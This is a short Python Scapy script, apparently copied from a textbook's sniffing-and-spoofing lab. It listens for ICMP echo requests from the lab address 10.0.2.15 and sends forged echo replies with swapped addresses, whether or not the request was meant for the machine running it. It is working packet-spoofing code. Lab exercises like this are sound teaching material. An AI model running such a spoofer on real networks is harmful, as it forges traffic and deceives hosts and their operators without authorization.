#!/usr/bin/python3 from scapy.all import * #from https://github.com/kevin-w-du/BookCode/blob/master/Sniffing_Spoofing/Scapy/sniff_spoof_icmp.py def spoof_pkt(pkt): if ICMP in pkt and pkt[ICMP].type == 8: #listen for ICMP request packets (type 8) print("Original Packet.........") print("Source IP : ", pkt[IP].src) print("Destination IP :", pkt[IP].dst) #spoof a reply, even if the request wasn't for us #must reverse source and destination on reply! ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl) icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq) data = pkt[Raw].load newpkt = ip/icmp/data print("Spoofed Packet.........") print("Source IP : ", newpkt[IP].src) print("Destination IP :", newpkt[IP].dst) send(newpkt,verbose=0) pkt = sniff(filter='icmp and src host 10.0.2.15',prn=spoof_pkt) #icmp and src host 10.0.2.15